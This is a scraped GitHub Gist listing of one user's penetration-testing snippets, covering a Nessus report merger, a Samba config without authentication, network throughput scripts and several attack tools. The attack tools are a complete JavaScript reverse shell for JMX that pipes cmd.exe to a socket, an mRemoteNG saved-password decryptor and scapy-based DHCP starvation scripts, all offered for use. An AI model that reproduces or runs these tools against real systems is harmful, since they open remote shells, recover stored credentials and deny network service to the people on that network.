Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python2
from __future__ import print_function
import sys
import socket
import getpass
import argparse
import impacket
from multiprocessing.dummy import Pool as ThreadPool
from impacket.smbconnection import SMBConnection
@barkink
barkink / nessus-merge.py
Created November 29, 2017 06:01
Nessus Merger
import xml.etree.ElementTree as etree
import shutil
import os
first = 1
for fileName in os.listdir("."):
if ".nessus" in fileName:
print(":: Parsing", fileName)
if first:
mainTree = etree.parse(fileName)
@barkink
barkink / noauth-samba.conf
Created November 24, 2017 10:30
Samba No Auth
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
@barkink
barkink / revshell.js
Created September 15, 2017 06:56
jmx Javascript Reverse Shell
var host="localhost";
var port=8044;
var cmd="cmd.exe";
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
@barkink
barkink / mremotedec.py
Created August 11, 2017 00:28
MremoteNG Password Decryptor
import base64
import md5
import sys
from Crypto.Cipher import AES
key= md5.new("mR3m").digest()
encryptPassword = sys.argv[1]
pwdBase64 = base64.b64decode(encryptPassword)
iv = pwdBase64[:16]
encryptDigest = pwdBase64[16:]
@barkink
barkink / dhcp_starvation.py
Created July 26, 2017 13:50
Dhcp Starvation LYK 2017
src_mac = RandMAC()
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr=RandString(12, "0123456789abcdef"))
pkt /= DHCP(options=[("message-type", "request"),
("requested_addr", requested_addr),
("server_id", "172.18.31.1"),
"end"])
sendp(pkt)
@barkink
barkink / dhcp_starvation.py
Last active July 26, 2017 13:42
Dhcp Starvation
from scapy.all import *
from time import sleep
from threading import Thread
class DHCPStarvation(object):
def __init__(self):
# Generated MAC stored to avoid same MAC requesting for different IP
self.mac = [""]
# Requested IP stored to identify registered IP
@barkink
barkink / tcp-ping.py
Last active July 27, 2017 20:17
tcp-ping.py
#!/usr/bin/env python3
"""
TCP Ping Test (defaults to port 80, 10000 packets)
Usage: ./tcpping.py host [port] [maxCount]
- Ctrl-C Exits with Results
"""
import sys
import socket
@barkink
barkink / Throughput2.sh
Created June 19, 2017 09:20
Throughput2.sh
rx1=`cat /sys/class/net/eth0/statistics/rx_bytes`;tx1=`cat /sys/class/net/eth0/statistics/tx_bytes`;`sleep 1` ;rx2=`cat /sys/class/net/eth0/statistics/rx_bytes`;tx2=`cat /sys/class/net/eth0/statistics/tx_bytes`;echo -n "RX: $((($rx2-$rx1)/1024)) Kbps";echo -n " - ";echo -n "RX: $((($tx2-$tx1)/1024)) Kbps";
@barkink
barkink / Throughout.sh
Created June 19, 2017 09:17
Throughout.sh
#!/bin/bash
intervalo=1
info="/sys/class/net/"
cd $info
for interface in eth*
do
rx1=`cat $info$interface/statistics/rx_bytes`
tx1=`cat $info$interface/statistics/tx_bytes`
`sleep $((intervalo))s`